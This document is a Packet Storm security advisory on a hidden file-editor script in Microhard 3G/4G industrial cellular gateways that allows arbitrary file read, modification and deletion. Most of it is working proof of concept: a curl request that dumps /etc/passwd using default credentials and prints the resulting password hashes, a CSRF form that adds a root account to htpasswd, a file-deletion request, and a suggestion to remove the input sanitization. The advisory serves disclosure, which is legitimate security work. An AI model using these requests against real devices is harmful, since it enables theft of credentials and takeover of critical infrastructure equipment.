Microhard Systems 3G/4G Cellular Ethernet And Serial Gateway Arbitrary File Attacks

2018-07-16T00:00:00
ID PACKETSTORM:148574
Type packetstorm
Reporter LiquidWorm
Modified 2018-07-16T00:00:00

Description

                                        
                                            `  
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Arbitrary File Attacks  
  
  
Vendor: Microhard Systems Inc.  
Product web page: http://www.microhardcorp.com  
Affected version: IPn4G 1.1.0 build 1098  
IPn3Gb 2.2.0 build 2160  
IPn4Gb 1.1.6 build 1184-14  
IPn4Gb 1.1.0 Rev 2 build 1090-2  
IPn4Gb 1.1.0 Rev 2 build 1086  
Bullet-3G 1.2.0 Rev A build 1032  
VIP4Gb 1.1.6 build 1204  
VIP4G 1.1.6 Rev 3.0 build 1184-14  
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196  
IPn3Gii / Bullet-3G 1.2.0 build 1076  
IPn4Gii / Bullet-LTE 1.2.0 build 1078  
BulletPlus 1.3.0 build 1036  
Dragon-LTE 1.1.0 build 1036  
  
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution  
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb  
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control  
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial  
RS232/485/422 devices!  
  
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses  
the widespread deployment of cellular network infrastructure for critical data collection.  
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!  
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It  
provides robust and secure wireless communication of Serial, USB and Ethernet data.  
  
The all new Bullet-3G provides a compact, robust, feature packed industrial strength  
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things  
to the next level by providing features such as Ethernet with PoE, RS232 Serial port  
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated  
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution  
worth looking at!  
  
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength  
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote  
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight  
system integration and design flexibility with dual Ethernet Ports and high power  
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access  
Control Lists, the Dragon-LTE provides a solution for any cellular application!  
  
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE  
network infrastructure for critical data communications. The VIP4Gb provides simultaneous  
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital  
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in  
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.  
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.  
  
Desc: Due to the hidden and undocumented File Editor (Filesystem Browser) shell script  
'system-editor.sh' an attacker can leverage this issue to read, modify or delete arbitrary  
files on the system. Input passed thru the 'path' and 'savefile', 'edit' and 'delfile' GET  
and POST parameters is not properly sanitized before being used to modify files. This can  
be exploited by an authenticated attacker to read or modify arbitrary files on the affected  
system.  
  
Tested on: httpd-ssl-1.0.0  
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5485  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5485.php  
  
  
13.03.2018  
  
--  
  
  
Download (script):  
------------------  
# curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc&savefile=passwd" -H "Authorization: Basic YWRtaW46YWRtaW4="  
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash  
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh  
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false  
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI  
nobody:*:65534:65534:nobody:/var:/bin/false  
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh  
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh  
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false  
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh  
  
  
Edit (edit):  
------------  
CSRF add roOt:rewt to htpasswd:  
  
<html>  
<body>  
<form action="http://192.168.1.1/cgi-bin/webif/system-editor.sh" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="path" value="/etc" />  
<input type="hidden" name="edit" value="htpasswd" />  
<input type="hidden" name="filecontent" value="root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/  
admin:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1  
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/  
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.  
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0  
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0  
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0" />  
<input type="hidden" name="save" value="A Save ChangesA " />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
Delete (delfile):  
-----------------  
  
GET /cgi-bin/webif/system-editor.sh?path=/www&delfile=pwn.txt HTTP/1.1  
  
  
Or edit and remove sanitization:  
File: /usr/lib/webif/sanitize.awk  
  
// { _str=$0;  
gsub(/ /,"",_str)  
gsub(/\|/,"",_str)  
gsub(/\\/,"",_str)  
gsub(/&/,"",_str)  
gsub(/\^/,"",_str)  
gsub(/\$/,"",_str)  
gsub(/'/,"",_str)  
gsub(/"/,"",_str)  
gsub(/`/,"",_str)  
gsub(/\{/,"",_str)  
gsub(/\}/,"",_str)  
gsub(/\(/,"",_str)  
gsub(/\)/,"",_str)  
gsub(/;/,"",_str)  
print _str  
}   
`